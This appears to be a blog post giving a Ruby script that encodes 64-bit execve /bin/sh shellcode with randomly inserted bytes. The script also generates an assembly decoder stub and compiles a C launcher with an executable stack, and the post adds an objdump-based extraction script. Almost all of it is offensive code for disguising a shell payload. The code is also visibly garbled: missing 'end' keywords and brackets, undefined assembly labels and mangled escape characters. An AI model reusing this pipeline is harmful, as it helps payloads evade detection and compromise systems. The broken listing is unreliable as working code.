Encoder/Decoder Shellcode 64 bit

My first attempt at using Ruby and I’m enjoying using it, so much so I replaced all Python code with Ruby in the Encoder/Decoder Shellcode blog post. Also updated the shellcode to 64bit, from this blog post, and the randomly inserted bytes to valid one byte x86_64 opcodes. See the earlier link for a more detailed explanation of what is going on, otherwise enjoy the update.

#!/usr/bin/ruby -w

# Generates encoded shellcode
# @param sc [String Array] shellcode in hex byte format 
# @param rib [String Array] hex bytes to randomly insert into shellcode
# @param eb [String] end byte marker 
# @return [String] shellcode that has been encoded
def gen_encoded_shellcode (sc, rib, eb)
  puts "[*] Generate random insertion encoded shellcode..."
  encoded_shellcode = ""

  # created encoded shellcode, make sure that all of the 
  # original shellcode is included in the string.
  sc_index = 0
  while sc_index <= sc.length do
    if rand(1..1000) > 500
      encoded_shellcode += rib[rand(0..rib.length-1)]
      if sc_index <= sc.length
        encoded_shellcode += "#{sc[sc_index]}" 
      sc_index += 1
    encoded_shellcode += ","
  return "#{encoded_shellcode.chop}#{eb}"

# Generates an x86_64 assembly language source file
# which will decode and execute the encoded shellcode
# @param esc [String] encoded shellcode
# @param rib [String Array] hex bytes to randomly insert into shellcode
# @param eb [String] end byte marker 
# @param fn [String] name of assembly language source file
def gen_asm_code (esc, rib, eb, fn)
  puts "[*] Generate assembly language for encoded shellcode..."
  fn = fn + ".asm"
  asmcode_header = [
    "global _start",
    "section .text", 
    "    jmp short call_shellcode",
    "    pop rsi",
    "    lea rdi, [rsi]",
    "    xor rax, rax",
    "    xor rbx, rbx",
    "    mov bl, byte [rsi + rax]"

  asmcode_decode = []	
    rib.each do |x|
    asmcode_decode << "    cmp bl, #{x}"
    asmcode_decode << "    jz  insertionByte"

  asmcode_footer = [
    "    cmp bl, #{eb}",
    "    jz  short encodedShellcode",
    "    mov byte [rdi], bl",
    "    inc rdi",
    "    inc rax",
    "    jmp short decode",
    "    inc rax",
    "    jmp decode",
    "    call decoder",
    "    encodedShellcode db #{esc}"

  final_asmcode = []
  final_asmcode << asmcode_header 
  final_asmcode << asmcode_decode 
  final_asmcode << asmcode_footer 

  File.open(fn, "w+") do |fsrc|

  puts "[*] Finished writing assembly language source code to #{fn}."

# Create executable binary from assembly language source file
# @param fn [String] filename of assembly executable
# @return [Integer] status of shell operation
def build_assembly_executable (fn)
  puts "[*] Building assembly executable, #{fn}..."

  exit_status = 0
  Open3.popen3("nasm -felf64 -o #{fn}.o #{fn}.asm") { |i,o,e,t|
    exit_status = t.value
  Open3.popen3("ld -o #{fn} #{fn}.o") { |i,o,e,t|
    exit_status = t.value
  return exit_status

# Extract shellcode from executable file using a shell command
# @param fn [String] filename of assembly executable
# @param cmd [String] command to execute from shell
# @return [String] shellcode extracted from assembly executable
def extract_shellcode_from_binary (fn, cmd)
  puts "[*] Extracting shellcode from executable file, #{fn}..."

  extracted_shellcode = ""
  exit_status = 0
  Open3.popen3("./#{cmd} #{fn}") { |i,o,e,t|
    extracted_shellcode = o.gets(nil)
    exit_status = t.value

  return extracted_shellcode

# Build c language shellcode template, insert encodedshellcode
# @param cfn [String] C source filename
# @param es [String] shellcode extracted from assembly executable
def gen_shellcode_template(cfn, es)
  puts "[*] Generating shellcode template C source file..."
  cfn += ".c"
  sc = ""#{es}";"
  ctemplate = [
    "#include <stdio.h>",
    "unsigned char code[] = ",
    "    int (*ret)() = (int(*)())code;",
    "    ret();",

  File.open(cfn, "w+") do |cfsrc|

# Compile generated C source file
# @param cfn [String] c executable filename
# @return [Integer] status of shell operation
def build_shellcode_binary(cfn)
  puts "[*] Building shellcode binary..."
  exit_status = 0
  Open3.popen3 ("gcc -fno-stack-protector -z execstack -ggdb -o #{cfn} #{cfn}.c") { |i,o,e,t|
    exit_status = t.value

  return exit_status

# Instruct user on program status and next step
# @param cfn [String] c executable filename
def test_shellcode(cfn)
  puts "[*] Finished!"
  puts "n./#{cfn} to test, /bin/sh on success... (Good luck!)nn"

# required modules
require "open3"

# variables for shellcode generation
asmfilename = "EncodedShellcode"
cfilename = "Shellcode"
# execve 64bit shellcode
shellcode = %w(0x48 0x31 0xff 0x57 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05)
# make sure bytes are valid x86_64 one byte opcodes
random_insert_bytes = %w(0x9b 0xcb 0xf5 0xfc 0xc3)
end_byte = "0xbb"
extract_shellcode_cmd = "extract_shellcode.sh"

# main 
encoded_shellcode = gen_encoded_shellcode shellcode, random_insert_bytes, end_byte	
gen_asm_code encoded_shellcode, random_insert_bytes, end_byte, asmfilename
build_assembly_executable asmfilename
extracted_shellcode = extract_shellcode_from_binary asmfilename, extract_shellcode_cmd
gen_shellcode_template cfilename, extracted_shellcode
build_shellcode_binary cfilename
test_shellcode cfilename

Create a bash script named extract_shellcode.sh containing the code below.

#!/usr/bin/env sh
for i in `objdump -d $1 | tr 't' ' ' | tr ' ' 'n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "x$i" ; done

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s